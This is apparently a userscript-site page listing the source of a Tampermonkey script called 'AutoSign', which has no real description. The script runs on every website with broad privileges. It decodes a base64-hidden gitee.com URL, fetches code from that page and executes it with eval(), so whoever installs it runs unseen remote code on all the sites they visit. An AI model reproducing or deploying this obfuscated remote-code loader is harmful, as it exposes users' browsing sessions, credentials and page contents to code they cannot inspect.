AutoSign

You will need to install an extension such as Tampermonkey, Greasemonkey or Violentmonkey to install this script.

Bạn sẽ cần cài đặt một tiện ích mở rộng như Tampermonkey hoặc Violentmonkey để cài đặt kịch bản này.

You will need to install an extension such as Tampermonkey or Violentmonkey to install this script.

You will need to install an extension such as Tampermonkey or Userscripts to install this script.

You will need to install an extension such as Tampermonkey to install this script.

You will need to install a user script manager extension to install this script.

(Tôi đã có Trình quản lý tập lệnh người dùng, hãy cài đặt nó!)

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

(I already have a user style manager, let me install it!)

// ==UserScript==
// @name         AutoSign
// @author       熊伟良
// @version      3.7
// @description  无
// @license      MIT
// @icon         https://s1.ljcdn.com/beike-im-static/favicon.ico
// @grant        GM.addStyle
// @grant        GM.getValue
// @grant        GM.notification
// @grant        GM.openInTab
// @grant        GM.registerMenuCommand
// @grant        GM.setClipboard
// @grant        GM.setValue
// @grant        GM.xmlHttpRequest
// @grant        GM_addStyle
// @grant        GM_download
// @grant        GM_getResourceText
// @grant        GM_getResourceURL
// @grant        GM_getValue
// @grant        GM_notification
// @grant        GM_openInTab
// @grant        GM_registerMenuCommand
// @grant        GM_setClipboard
// @grant        GM_setValue
// @grant        GM_unregisterMenuCommand
// @grant        GM_xmlhttpRequest
// @grant        GM_addValueChangeListener
// @grant        unsafeWindow
// @run-at       document-idle
// @connect      *
// @match        *://*/*
// @namespace http://tampermonkey.net/
// ==/UserScript==

(async function() {
    var encodedString = "aHR0cHM6Ly9naXRlZS5jb20veHdsNzM1NjQ1NTE0L2ZzbmFvaGFpL2Jsb2IvbWFzdGVyLy5BJUU4JUI0JTlEJUU1JUEzJUIzLyVFNyVCRCU5MSVFNyVBRCVCRSVFOCU4NyVBQSVFNSU4QSVBOCVFNSVCRCU5NSVFNSU4NSVBNS5qcw==";
    var decodedString = atob(encodedString);
    GM_xmlhttpRequest({
        method: "GET",
        url: decodedString,
        onload: async function (response) {
            const parser = new DOMParser();
            const htmlDoc = parser.parseFromString(response.responseText, "text/html");
            const textarea = htmlDoc.querySelector('textarea[name="blob_raw"]');
            const code = textarea.textContent.trim();
            console.log('成功加载代码')
            eval(code);
        }
    });
})()